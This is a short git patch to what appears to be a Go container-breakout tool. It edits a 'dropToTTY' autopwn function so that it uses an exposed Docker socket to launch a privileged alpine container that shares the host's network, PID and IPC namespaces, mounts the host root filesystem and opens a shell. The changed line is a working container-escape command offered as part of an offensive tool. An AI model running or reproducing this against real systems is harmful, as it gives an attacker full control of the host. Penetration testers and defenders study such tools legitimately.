From 38ea1cb86fab8cb100bff79387bc2fa4947d5b34 Mon Sep 17 00:00:00 2001 From: brompwnie Date: Fri, 13 Sep 2019 10:41:10 +0100 Subject: [PATCH] updating autopwn TTY docker command to include moar power --- main.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.go b/main.go index 5a043d9..bad99f7 100644 --- a/main.go +++ b/main.go @@ -164,7 +164,7 @@ func downloadFile(filepath string, url string) error { func dropToTTY(dockerSockPath string) error { // this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome - cmd := "./docker/docker -H unix://" + dockerSockPath + " run -t -i -v /:/host alpine:latest /bin/sh" + cmd := "./docker/docker -H unix://" + dockerSockPath + " run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh" fmt.Println(cmd) c := exec.Command("sh", "-c", cmd)